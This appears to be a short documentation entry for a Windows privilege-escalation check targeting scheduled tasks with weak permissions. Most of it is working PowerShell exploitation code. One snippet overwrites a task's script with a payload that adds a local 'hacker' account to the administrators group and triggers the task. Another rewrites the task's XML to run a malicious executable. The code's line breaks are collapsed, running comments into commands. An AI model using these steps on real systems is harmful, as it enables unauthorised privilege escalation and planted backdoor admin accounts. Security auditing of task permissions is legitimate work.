The Modifiable Scheduled Task check identifies Windows scheduled tasks where either the task definition file or the binary executed by the task has weak permissions. This allows privilege escalation by modifying the task to execute malicious code with elevated privileges.
# If binary is modifiable$taskBinary = "C:\Scripts\backup.ps1"# Backup originalCopy-Item $taskBinary "$taskBinary.bak"# Replace with payload$payload = "net user hacker P@ss /add && net localgroup administrators hacker /add"$payload | Out-File $taskBinary# Wait for task to run or trigger itschtasks /run /tn "BackupTask"
# If XML is modifiable$taskXml = "C:\Windows\System32\Tasks\BackupTask"# Read and modify XML[xml]$xml = Get-Content $taskXml$xml.Task.Actions.Exec.Command = "C:\temp\malicious.exe"$xml.Save($taskXml)# Task will run modified command at next schedule